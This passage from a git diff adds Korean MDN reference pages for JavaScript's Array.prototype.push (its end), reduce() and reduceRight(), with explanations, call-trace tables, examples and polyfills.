+<p>이 예제는 두번째 배열의 모든 엘리먼트를 push 하기 위해 {{jsxref("Function.apply", "apply()")}}를 사용한다.</p>
+
+<p>만약 두번째 배열( 아래 예제에서는 moreVegs )이 매우 클 경우, 이 메소드를 사용하지 말아야 한다. 실제로 한 함수가 사용가능한 매개변수의 최대 개수에는 제한이 있기 때문이다. 더 자세한 사항은    {{jsxref("Function.apply", "apply()")}} 에서 찾아볼 수 있다.</p>
+
+<pre class="brush: js">var vegetables = ['설탕당근', '감자'];
+var moreVegs = ['셀러리', '홍당무'];
+
+// 첫번째 배열에 두번째 배열을 합친다.
+// vegetables.push('셀러리', '홍당무'); 하는 것과 동일하다.
+Array.prototype.push.apply(vegetables, moreVegs);
+
+console.log(vegetables); // ['설탕당근', '감자', '셀러리', '홍당무']
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세서</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>초기 정의. JavaScript 1.2에서 구현되었음.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.7', 'Array.prototype.push')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.push', 'Array.prototype.push')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.push', 'Array.prototype.push')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.Array.push")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.pop()")}}</li>
+ <li>{{jsxref("Array.prototype.shift()")}}</li>
+ <li>{{jsxref("Array.prototype.unshift()")}}</li>
+ <li>{{jsxref("Array.prototype.concat()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/reduce/index.html b/files/ko/web/javascript/reference/global_objects/array/reduce/index.html
new file mode 100644
index 0000000000..bd3516865e
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/reduce/index.html
@@ -0,0 +1,573 @@
+---
+title: Array.prototype.reduce()
+slug: Web/JavaScript/Reference/Global_Objects/Array/Reduce
+tags:
+  - Array
+  - ECMAScript 5
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/Reduce
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary"><code><strong>reduce()</strong></code><strong> </strong>메서드는 배열의 각 요소에 대해 주어진 <strong>리듀서</strong>(reducer) 함수를 실행하고, 하나의 결과값을 반환합니다.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-reduce.html")}}</div>
+
+
+
+<p><strong>리듀서</strong> 함수는 네 개의 인자를 가집니다.</p>
+
+<ol>
+ <li>누산기<sup>accumulator</sup> (acc)</li>
+ <li>현재 값 (cur)</li>
+ <li>현재 인덱스 (idx)</li>
+ <li>원본 배열 (src)</li>
+</ol>
+
+<p>리듀서 함수의 반환 값은 누산기에 할당되고, 누산기는 순회 중 유지되므로 결국 최종 결과는 하나의 값이 됩니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>arr</var>.reduce(<var>callback</var>[, <var>initialValue</var>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>배열의 각 요소에 대해 실행할 함수. 다음 네 가지 인수를 받습니다.</dd>
+ <dd>
+ <dl>
+  <dt><code>accumulator</code></dt>
+  <dd>누산기<sup>accmulator</sup>는 콜백의 반환값을 누적합니다. 콜백의 이전 반환값 또는, 콜백의 첫 번째 호출이면서 <code>initialValue</code>를 제공한 경우에는 <code>initialValue</code>의 값입니다.</dd>
+  <dt><code>currentValue</code></dt>
+  <dd>처리할 현재 요소.</dd>
+  <dt><code>currentIndex</code> {{optional_inline}}</dt>
+  <dd>처리할 현재 요소의 인덱스. <code>initialValue</code>를 제공한 경우 0, 아니면 1부터 시작합니다.</dd>
+  <dt><code>array</code> {{optional_inline}}</dt>
+  <dd><code>reduce()</code>를 호출한 배열.</dd>
+ </dl>
+ </dd>
+ <dt><code>initialValue</code> {{optional_inline}}</dt>
+ <dd><code>callback</code>의 최초 호출에서 첫 번째 인수에 제공하는 값. 초기값을 제공하지 않으면 배열의 첫 번째 요소를 사용합니다. 빈 배열에서 초기값 없이 <code>reduce()</code>를 호출하면 오류가 발생합니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>누적 계산의 결과 값.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>reduce()</code>는 빈 요소를 제외하고 배열 내에 존재하는 각 요소에 대해 <code>callback</code> 함수를 한 번씩 실행하는데, 콜백 함수는 다음의 네 인수를 받습니다:</p>
+
+<ul>
+ <li><code>accumulator</code></li>
+ <li><code>currentValue</code></li>
+ <li><code>currentIndex</code></li>
+ <li><code>array</code></li>
+</ul>
+
+<p>콜백의 최초 호출 때 <code>accumulator</code>와 <code>currentValue</code>는 다음 두 가지 값 중 하나를 가질 수 있습니다. 만약 <code>reduce()</code> 함수 호출에서 <code>initialValue</code>를 제공한 경우, <code>accumulator</code>는 <code>initialValue</code>와 같고 <code>currentValue</code>는 배열의 첫 번째 값과 같습니다. <code>initialValue</code>를 제공하지 않았다면, <code>accumulator</code>는 배열의 첫 번째 값과 같고 <code>currentValue</code>는 두 번째와 같습니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> <code>initialValue</code>를 제공하지 않으면, <code>reduce()</code>는 인덱스 1부터 시작해 콜백 함수를 실행하고 첫 번째 인덱스는 건너 뜁니다. <code>initialValue</code>를 제공하면 인덱스 0에서 시작합니다.</p>
+</div>
+
+<p>배열이 비어있는데 <code>initialValue</code>도 제공하지 않으면 {{jsxref("TypeError")}}가 발생합니다. 배열의 요소가 (위치와 관계없이) 하나 뿐이면서 <code>initialValue</code>를 제공되지 않은 경우, 또는 <code>initialValue</code>는 주어졌으나 배열이 빈 경우엔 그 단독 값을 <code>callback</code> 호출 없이 반환합니다.</p>
+
+<p>다음의 예제처럼 <code>initialValue</code>을 제공하지 않으면 출력 가능한 형식이 세 가지이므로, 보통 초기값을 주는 것이 더 안전합니다.</p>
+
+<pre class="brush: js">var maxCallback = ( acc, cur ) =&gt; Math.max( acc.x, cur.x );
+var maxCallback2 = ( max, cur ) =&gt; Math.max( max, cur );
+
+// initialValue 없이 reduce()
+[ { x: 22 }, { x: 42 } ].reduce( maxCallback ); // 42
+[ { x: 22 }            ].reduce( maxCallback ); // { x: 22 }
+[                      ].reduce( maxCallback ); // TypeError
+
+// map/reduce로 개선 - 비었거나 더 큰 배열에서도 동작함
+[ { x: 22 }, { x: 42 } ].map( el =&gt; el.x )
+                        .reduce( maxCallback2, -Infinity );</pre>
+
+<h3 id="reduce()_작동_방식"><code>reduce()</code> 작동  방식</h3>
+
+<p>다음의 예제를 생각해 봅시다.</p>
+
+<pre class="brush: js">[0, 1, 2, 3, 4].reduce(function(accumulator, currentValue, currentIndex, array) {
+  return accumulator + currentValue;
+});
+</pre>
+
+<p>콜백은 4번 호출됩니다. 각 호출의 인수와 반환값은 다음과 같습니다.</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col"><code>callback</code></th>
+   <th scope="col"><code>accumulator</code></th>
+   <th scope="col"><code>currentValue</code></th>
+   <th scope="col"><code>currentIndex</code></th>
+   <th scope="col"><code>array</code></th>
+   <th scope="col">반환 값</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">1번째 호출</th>
+   <td><code>0</code></td>
+   <td><code>1</code></td>
+   <td><code>1</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <th scope="row">2번째 호출</th>
+   <td><code>1</code></td>
+   <td><code>2</code></td>
+   <td><code>2</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>3</code></td>
+  </tr>
+  <tr>
+   <th scope="row">3번째 호출</th>
+   <td><code>3</code></td>
+   <td><code>3</code></td>
+   <td><code>3</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>6</code></td>
+  </tr>
+  <tr>
+   <th scope="row">4번째 호출</th>
+   <td><code>6</code></td>
+   <td><code>4</code></td>
+   <td><code>4</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>10</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p><code>reduce()</code>가 반환하는 값으로는 마지막 콜백 호출의 반환값(<code>10</code>)을 사용합니다.</p>
+
+<p>완전한 함수 대신에 {{jsxref("Functions/애로우_펑션", "화살표 함수","",1)}}를 제공할 수도 있습니다. 아래 코드는 위의 코드와 같은 결과를 반환합니다.</p>
+
+<pre class="brush: js">[0, 1, 2, 3, 4].reduce( (prev, curr) =&gt; prev + curr );
+</pre>
+
+<p><code>reduce()</code>의 두 번째 인수로 초기값을 제공하는 경우, 결과는 다음과 같습니다:</p>
+
+<pre class="brush: js">[0, 1, 2, 3, 4].reduce(function(accumulator, currentValue, currentIndex, array) {
+  return accumulator + currentValue;
+}, 10);
+</pre>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col"> </th>
+   <th scope="col"><code>accumulator</code></th>
+   <th scope="col"><code>currentValue</code></th>
+   <th scope="col"><code>currentIndex</code></th>
+   <th scope="col"><code>array</code></th>
+   <th scope="col">반환값</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">1번째 호출</th>
+   <td><code>10</code></td>
+   <td><code>0</code></td>
+   <td><code>0</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>10</code></td>
+  </tr>
+  <tr>
+   <th scope="row">2번째 호출</th>
+   <td><code>10</code></td>
+   <td><code>1</code></td>
+   <td><code>1</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>11</code></td>
+  </tr>
+  <tr>
+   <th scope="row">3번째 호출</th>
+   <td><code>11</code></td>
+   <td><code>2</code></td>
+   <td><code>2</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>13</code></td>
+  </tr>
+  <tr>
+   <th scope="row">4번째 호출</th>
+   <td><code>13</code></td>
+   <td><code>3</code></td>
+   <td><code>3</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>16</code></td>
+  </tr>
+  <tr>
+   <th scope="row">5번째 호출</th>
+   <td><code>16</code></td>
+   <td><code>4</code></td>
+   <td><code>4</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>20</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>이 때 <code>reduce()</code>가 결과로 반환하는 값은 <code>20</code>입니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="배열의_모든_값_합산">배열의 모든 값 합산</h3>
+
+<pre class="brush: js">var sum = [0, 1, 2, 3].reduce(function (accumulator, currentValue) {
+  return accumulator + currentValue;
+}, 0);
+// sum is 6
+
+</pre>
+
+<p>화살표 함수로도 작성할 수 있습니다.</p>
+
+<pre class="brush: js">var total = [ 0, 1, 2, 3 ].reduce(
+  ( accumulator, currentValue ) =&gt; accumulator + currentValue,
+  0
+);</pre>
+
+<h3 id="객체_배열에서의_값_합산">객체 배열에서의 값 합산</h3>
+
+<p>객체로 이루어진 배열에 들어 있는 값을 합산하기 위해서는 <strong>반드시</strong> 초기값을 주어 각 항목이 여러분의 함수를 거치도록 해야 합니다.</p>
+
+<pre class="brush: js">var initialValue = 0;
+var sum = [{x: 1}, {x:2}, {x:3}].reduce(function (accumulator, currentValue) {
+    return accumulator + currentValue.x;
+},initialValue)
+
+console.log(sum) // logs 6
+</pre>
+
+<p>화살표 함수(arrow function)로도 작성할 수 있습니다: </p>
+
+<pre class="brush: js">var initialValue = 0;
+var sum = [{x: 1}, {x:2}, {x:3}].reduce(
+    (accumulator, currentValue) =&gt; accumulator + currentValue.x
+    ,initialValue
+);
+
+console.log(sum) // logs 6</pre>
+
+<h3 id="중첩_배열_펼치기flatten">중첩 배열 펼치기<sup>flatten</sup></h3>
+
+<pre class="brush: js">var flattened = [[0, 1], [2, 3], [4, 5]].reduce(
+  function(accumulator, currentValue) {
+    return accumulator.concat(currentValue);
+  },
+  []
+);
+// 펼친 결과: [0, 1, 2, 3, 4, 5]
+</pre>
+
+<p>화살표 함수로도 작성할 수 있습니다:</p>
+
+<pre class="brush: js">var flattened = [[0, 1], [2, 3], [4, 5]].reduce(
+  ( accumulator, currentValue ) =&gt; accumulator.concat(currentValue),
+  []
+);
+</pre>
+
+<h3 id="객체_내의_값_인스턴스_개수_세기">객체 내의 값 인스턴스 개수 세기</h3>
+
+<pre class="brush: js">var names = ['Alice', 'Bob', 'Tiff', 'Bruce', 'Alice'];
+
+var countedNames = names.reduce(function (allNames, name) {
+  if (name in allNames) {
+    allNames[name]++;
+  }
+  else {
+    allNames[name] = 1;
+  }
+  return allNames;
+}, {});
+// countedNames is:
+// { 'Alice': 2, 'Bob': 1, 'Tiff': 1, 'Bruce': 1 }
+</pre>
+
+<h3 id="속성으로_객체_분류하기">속성으로 객체 분류하기</h3>
+
+<pre class="brush: js">var people = [
+  { name: 'Alice', age: 21 },
+  { name: 'Max', age: 20 },
+  { name: 'Jane', age: 20 }
+];
+
+function groupBy(objectArray, property) {
+  return objectArray.reduce(function (acc, obj) {
+    var key = obj[property];
+    if (!acc[key]) {
+      acc[key] = [];
+    }
+    acc[key].push(obj);
+    return acc;
+  }, {});
+}
+
+var groupedPeople = groupBy(people, 'age');
+// groupedPeople is:
+// {
+//   20: [
+//     { name: 'Max', age: 20 },
+//     { name: 'Jane', age: 20 }
+//   ],
+//   21: [{ name: 'Alice', age: 21 }]
+// }
+</pre>
+
+<h3 id="확장_연산자와_초기값을_이용하여_객체로_이루어진_배열에_담긴_배열_연결하기">확장 연산자와 초기값을 이용하여 객체로 이루어진 배열에 담긴 배열 연결하기</h3>
+
+<pre class="brush: js">// friends - an array of objects
+// where object field "books" - list of favorite books
+var friends = [{
+  name: 'Anna',
+  books: ['Bible', 'Harry Potter'],
+  age: 21
+}, {
+  name: 'Bob',
+  books: ['War and peace', 'Romeo and Juliet'],
+  age: 26
+}, {
+  name: 'Alice',
+  books: ['The Lord of the Rings', 'The Shining'],
+  age: 18
+}];
+
+// allbooks - list which will contain all friends' books +
+// additional list contained in initialValue
+var allbooks = friends.reduce(function(accumulator, currentValue) {
+  return [...accumulator, ...currentValue.books];
+}, ['Alphabet']);
+
+// allbooks = [
+//   'Alphabet', 'Bible', 'Harry Potter', 'War and peace',
+//   'Romeo and Juliet', 'The Lord of the Rings',
+//   'The Shining'
+// ]
+</pre>
+
+<h3 id="배열의_중복_항목_제거">배열의 중복 항목 제거</h3>
+
+<div class="blockIndicator note">
+<p>참고: {{jsxref("Set")}}과 {{jsxref("Array.from()")}}을 사용할 수 있는 환경이라면, <code>let orderedArray = Array.from(new Set(myArray));</code>를 사용해 중복 요소를 제거할 수도 있습니다.</p>
+</div>
+
+<pre class="brush: js">let arr = [1, 2, 1, 2, 3, 5, 4, 5, 3, 4, 4, 4, 4];
+let result = arr.sort().reduce((accumulator, current) =&gt; {
+    const length = accumulator.length
+    if (length === 0 || accumulator[length - 1] !== current) {
+        accumulator.push(current);
+    }
+    return accumulator;
+}, []);
+console.log(result); //[1,2,3,4,5]
+</pre>
+
+<h3 id="프로미스를_순차적으로_실행하기">프로미스를 순차적으로 실행하기</h3>
+
+<pre class="brush: js">/**
+ * Runs promises from array of functions that can return promises
+ * in chained manner
+ *
+ * @param {array} arr - promise arr
+ * @return {Object} promise object
+ */
+function runPromiseInSequence(arr, input) {
+  return arr.reduce(
+    (promiseChain, currentFunction) =&gt; promiseChain.then(currentFunction),
+    Promise.resolve(input)
+  );
+}
+
+// promise function 1
+function p1(a) {
+  return new Promise((resolve, reject) =&gt; {
+    resolve(a * 5);
+  });
+}
+
+// promise function 2
+function p2(a) {
+  return new Promise((resolve, reject) =&gt; {
+    resolve(a * 2);
+  });
+}
+
+// function 3  - will be wrapped in a resolved promise by .then()
+function f3(a) {
+ return a * 3;
+}
+
+// promise function 4
+function p4(a) {
+  return new Promise((resolve, reject) =&gt; {
+    resolve(a * 4);
+  });
+}
+
+const promiseArr = [p1, p2, f3, p4];
+runPromiseInSequence(promiseArr, 10)
+  .then(console.log);   // 1200
+</pre>
+
+<h3 id="함수_구성을_위한_파이프_함수">함수 구성을 위한 파이프 함수</h3>
+
+<pre class="brush: js">// Building-blocks to use for composition
+const double = x =&gt; x + x;
+const triple = x =&gt; 3 * x;
+const quadruple = x =&gt; 4 * x;
+
+// Function composition enabling pipe functionality
+const pipe = (...functions) =&gt; input =&gt; functions.reduce(
+    (acc, fn) =&gt; fn(acc),
+    input
+);
+
+// Composed functions for multiplication of specific values
+const multiply6 = pipe(double, triple);
+const multiply9 = pipe(triple, triple);
+const multiply16 = pipe(quadruple, quadruple);
+const multiply24 = pipe(double, triple, quadruple);
+
+// Usage
+multiply6(6); // 36
+multiply9(9); // 81
+multiply16(16); // 256
+multiply24(10); // 240
+</pre>
+
+<h3 id="reduce()로_map()_작성"><code>reduce()</code>로 <code>map()</code> 작성</h3>
+
+<pre class="brush: js">if (!Array.prototype.mapUsingReduce) {
+  Array.prototype.mapUsingReduce = function(callback, thisArg) {
+    return this.reduce(function(mappedArray, currentValue, index, array) {
+      mappedArray[index] = callback.call(thisArg, currentValue, index, array);
+      return mappedArray;
+    }, []);
+  };
+}
+
+[1, 2, , 3].mapUsingReduce(
+  (currentValue, index, array) =&gt; currentValue + index + array.length
+); // [5, 7, , 10]
+
+</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<pre class="brush: js">// ECMA-262의 진행 단계, 5판(Edition), 15.4.4.21
+// 참조: http://es5.github.io/#x15.4.4.21
+// https://tc39.github.io/ecma262/#sec-array.prototype.reduce
+if (!Array.prototype.reduce) {
+  Object.defineProperty(Array.prototype, 'reduce', {
+    value: function(callback /*, initialValue*/) {
+      if (this === null) {
+        throw new TypeError( 'Array.prototype.reduce ' +
+          'called on null or undefined' );
+      }
+      if (typeof callback !== 'function') {
+        throw new TypeError( callback +
+          ' is not a function');
+      }
+
+      // 1. Let O be ? ToObject(this value).
+      var o = Object(this);
+
+      // 2. Let len be ? ToLength(? Get(O, "length")).
+      var len = o.length &gt;&gt;&gt; 0;
+
+      // Steps 3, 4, 5, 6, 7
+      var k = 0;
+      var value;
+
+      if (arguments.length &gt;= 2) {
+        value = arguments[1];
+      } else {
+        while (k &lt; len &amp;&amp; !(k in o)) {
+          k++;
+        }
+
+        // 3. If len is 0 and initialValue is not present,
+        //    throw a TypeError exception.
+        if (k &gt;= len) {
+          throw new TypeError( 'Reduce of empty array ' +
+            'with no initial value' );
+        }
+        value = o[k++];
+      }
+
+      // 8. Repeat, while k &lt; len
+      while (k &lt; len) {
+        // a. Let Pk be ! ToString(k).
+        // b. Let kPresent be ? HasProperty(O, Pk).
+        // c. If kPresent is true, then
+        //    i.  Let kValue be ? Get(O, Pk).
+        //    ii. Let accumulator be ? Call(
+        //          callbackfn, undefined,
+        //          « accumulator, kValue, k, O »).
+        if (k in o) {
+          value = callback(value, o[k], k, o);
+        }
+
+        // d. Increase k by 1.
+        k++;
+      }
+
+      // 9. Return accumulator.
+      return value;
+    }
+  });
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.21', 'Array.prototype.reduce()')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.8.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.reduce', 'Array.prototype.reduce()')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.reduce', 'Array.prototype.reduce()')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.reduce")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.reduceRight()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/reduceright/index.html b/files/ko/web/javascript/reference/global_objects/array/reduceright/index.html
new file mode 100644
index 0000000000..07bbdb800e
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/reduceright/index.html
@@ -0,0 +1,283 @@
+---
+title: Array.prototype.reduceRight()
+slug: Web/JavaScript/Reference/Global_Objects/Array/ReduceRight
+tags:
+  - Array
+  - ECMAScript 5
+  - JavaScript
+  - Method
+  - Prototype
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/ReduceRight
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>reduceRight()</code></strong> 메서드는 누적기에 대해 함수를 적용하고 배열의 각 값 (오른쪽에서 왼쪽으로)은 값을 단일 값으로 줄여야합니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-reduce-right.html")}}</p>
+
+<p>왼쪽에서 오른쪽으로 {{jsxref("Array.prototype.reduce()")}}도 참조하십시오.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>arr</var>.reduceRight(<var>callback</var>[, <var>initialValue</var>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>4 개의 인수를 취하여 배열의 각 값에 대해 실행할 함수입니다.
+ <dl>
+  <dt><code>previousValue</code></dt>
+  <dd>콜백의 마지막 호출에서 이전에 리턴 된 값 또는 제공된 경우 initialValue. (아래 참조).</dd>
+  <dt><code>currentValue</code></dt>
+  <dd>배열에서 처리중인 현재 요소입니다.</dd>
+  <dt><code>index</code></dt>
+  <dd>배열에서 처리중인 현재 요소의 인덱스입니다.</dd>
+  <dt><code>array</code></dt>
+  <dd>배열 reduce가 호출되었습니다.</dd>
+ </dl>
+ </dd>
+ <dt><code>initialValue</code></dt>
+ <dd>선택 과목. 콜백의 최초의 호출의 최초의 인수로서 사용하는 객체입니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>누적 계산의 결과를 반환합니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>reduceRight는 배열의 구멍을 제외하고 배열에있는 각 요소에 대해 콜백 함수를 한 번 실행합니다.이 인수는 초기 값 (또는 이전 콜백 호출의 값), 현재 요소의 값, 현재 인덱스 및 반복이 일어나는 배열.</code></p>
+
+<p>reduceRight 콜백 호출은 다음과 같습니다.</p>
+
+<pre class="brush: js">array.reduceRight(function(previousValue, currentValue, index, array) {
+  // ...
+});
+</pre>
+
+<p>함수가 처음 호출 될 때 previousValue 및 currentValue는 두 값 중 하나가 될 수 있습니다. reduceValue에 대한 호출에 initialValue가 제공된 경우 previousValue는 initialValue와 같고 currentValue는 배열의 마지막 값과 같습니다. initialValue가 제공되지 않으면 previousValue는 배열의 마지막 값과 같고 currentValue는 두 번째 - 마지막 값과 같습니다.</p>
+
+<p>배열이 비어 있고 initialValue가 제공되지 않으면 {{jsxref ( "TypeError")}}가 발생합니다. 배열에 요소가 1 개만 있어도 (위치에 관계없이) initialValue가 제공되지 않았던 경우, 또는 initialValue가 준비되어 있지만 배열이 비어있는 경우, 콜백을 호출하지 않고 솔로 값이 반환됩니다.</p>
+
+<p>함수의 일부 실행 예제는 다음과 같습니다.</p>
+
+<pre class="brush: js">[0, 1, 2, 3, 4].reduceRight(function(previousValue, currentValue, index, array) {
+  return previousValue + currentValue;
+});
+</pre>
+
+<p>콜백은 네 번 호출되며 각 호출의 인수와 반환 값은 다음과 같습니다.</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col"><code>previousValue</code></th>
+   <th scope="col"><code>currentValue</code></th>
+   <th scope="col"><code>index</code></th>
+   <th scope="col"><code>array</code></th>
+   <th scope="col">return value</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">first call</th>
+   <td><code>4</code></td>
+   <td><code>3</code></td>
+   <td><code>3</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>7</code></td>
+  </tr>
+  <tr>
+   <th scope="row">second call</th>
+   <td><code>7</code></td>
+   <td><code>2</code></td>
+   <td><code>2</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>9</code></td>
+  </tr>
+  <tr>
+   <th scope="row">third call</th>
+   <td><code>9</code></td>
+   <td><code>1</code></td>
+   <td><code>1</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>10</code></td>
+  </tr>
+  <tr>
+   <th scope="row">fourth call</th>
+   <td><code>10</code></td>
+   <td><code>0</code></td>
+   <td><code>0</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>10</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>reduceRight에 의해 반환 된 값은 마지막 콜백 호출 (10)의 값이됩니다.</p>
+
+<p>initialValue를 제공하면 결과는 다음과 같습니다.</p>
+
+<pre class="brush: js">[0, 1, 2, 3, 4].reduceRight(function(previousValue, currentValue, index, array) {
+  return previousValue + currentValue;
+}, 10);
+</pre>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col"><code>previousValue</code></th>
+   <th scope="col"><code>currentValue</code></th>
+   <th scope="col"><code>index</code></th>
+   <th scope="col"><code>array</code></th>
+   <th scope="col">return value</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">first call</th>
+   <td><code>10</code></td>
+   <td><code>4</code></td>
+   <td><code>4</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>14</code></td>
+  </tr>
+  <tr>
+   <th scope="row">second call</th>
+   <td><code>14</code></td>
+   <td><code>3</code></td>
+   <td><code>3</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>17</code></td>
+  </tr>
+  <tr>
+   <th scope="row">third call</th>
+   <td><code>17</code></td>
+   <td><code>2</code></td>
+   <td><code>2</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>19</code></td>
+  </tr>
+  <tr>
+   <th scope="row">fourth call</th>
+   <td><code>19</code></td>
+   <td><code>1</code></td>
+   <td><code>1</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>20</code></td>
+  </tr>
+  <tr>
+   <th scope="row">fifth call</th>
+   <td><code>20</code></td>
+   <td><code>0</code></td>
+   <td><code>0</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>20</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>reduceRight에 의해 이번에 반환 된 값은 물론 20입니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="배열_내_모든_값의_합계_구하기">배열 내 모든 값의 합계 구하기</h3>
+
+<pre class="brush: js">var sum = [0, 1, 2, 3].reduceRight(function(a, b) {
+  return a + b;
+});
+// sum is 6
+</pre>
+
+<h3 id="이중_배열_전개하기">이중 배열 전개하기</h3>
+
+<pre class="brush: js">var flattened = [[0, 1], [2, 3], [4, 5]].reduceRight(function(a, b) {
+    return a.concat(b);
+}, []);
+// flattened is [4, 5, 2, 3, 0, 1]
+</pre>
+
+<h3 id="reduce와_reduceRight의_차이점">reduce와 reduceRight의 차이점</h3>
+
+<pre class="brush: js">var a = ["1", "2", "3", "4", "5"];
+var left  = a.reduce(function(prev, cur)      { return prev + cur; });
+var right = a.reduceRight(function(prev, cur) { return prev + cur; });
+
+console.log(left);  // "12345"
+console.log(right); // "54321"</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p><code>reduceRight</code>는 5 판에서 ECMA-262 표준에 추가되었습니다. 표준의 모든 구현에 존재하지 않을 수도 있습니다. 이 문제를 해결하려면 스크립트 시작 부분에 다음 코드를 삽입하여 reduceRight를 기본적으로 지원하지 않는 구현에서 사용할 수있게하십시오.</p>
+
+<pre class="brush: js">// ECMA-262, 5 판, 15.4.4.22의 제작 단계
+// 참조 : http://es5.github.io/#x15.4.4.22
+if ('function' !== typeof Array.prototype.reduceRight) {
+  Array.prototype.reduceRight = function(callback /*, initialValue*/) {
+    'use strict';
+    if (null === this || 'undefined' === typeof this) {
+      throw new TypeError('Array.prototype.reduce called on null or undefined' );
+    }
+    if ('function' !== typeof callback) {
+      throw new TypeError(callback + ' is not a function');
+    }
+    var t = Object(this), len = t.length &gt;&gt;&gt; 0, k = len - 1, value;
+    if (arguments.length &gt;= 2) {
+      value = arguments[1];
+    } else {
+      while (k &gt;= 0 &amp;&amp; !(k in t)) {
+        k--;
+      }
+      if (k &lt; 0) {
+        throw new TypeError('Reduce of empty array with no initial value');
+      }
+      value = t[k--];
+    }
+    for (; k &gt;= 0; k--) {
+      if (k in t) {
+        value = callback(value, t[k], k, t);
+      }
+    }
+    return value;
+  };
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
